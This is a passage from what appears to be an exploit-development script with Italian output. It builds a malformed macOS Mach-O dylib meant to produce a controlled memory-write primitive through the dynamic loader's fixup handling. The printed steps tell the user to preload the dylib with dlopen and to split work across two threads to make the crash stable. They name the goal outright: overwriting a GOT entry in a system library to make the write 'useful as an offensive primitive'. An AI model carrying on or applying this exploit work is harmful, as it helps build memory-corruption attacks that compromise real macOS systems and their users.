        target_off = int(env_off, 0) if env_off else 0x10
    except Exception:
        target_off = 0x10
    info = build_malformed_dylib(out, target_offset_in_data=target_off)

    validator_path = out.replace('.dylib', '_validator.c')
    with open(validator_path, 'w') as f:
        f.write(VALIDATOR_C)
    print(f"[+] Validator C: {validator_path}")

    print()
    print("=" * 60)
    print("PROSSIMI PASSI:")
    print("=" * 60)
    print()
    print("1. Integra nel tuo Makefile:")
    print("   python3 macho_controlled_fixup.py libmalformed.dylib")
    print()
    print("2. Aggiungi a libexports.c il simbolo sentinella:")
    print("   void write_target_value(void) { /* hook */ }")
    print()
    print("3. Nel launcher.c, prima di dlopen libclient:")
    print("   // Precarica la malformed per testare il primitivo")
    print("   void* hm = dlopen(\"@executable_path/libmalformed.dylib\", RTLD_NOW);")
    print("   // Poi verifica i canary nel __DATA della dylib")
    print()
    print("4. Per stabilizzare il crash:")
    print("   - Usa thread A (stack normale) per caricare libmalformed")
    print("   - Usa thread B (stack piccolo) solo per il trigger originale")
    print("   - I due thread non interferiscono sullo stack")
    print()
    print("LIMITAZIONE ATTUALE:")
    print("   La scrittura avviene nel __DATA della tua stessa dylib.")
    print("   Per essere utile come primitivo offensivo serve:")
    print("   a) Sovrascrivere una GOT entry di un dylib di sistema")
    print("   b) Che loc punti fuori dal tuo spazio (richiede primo stadio)")
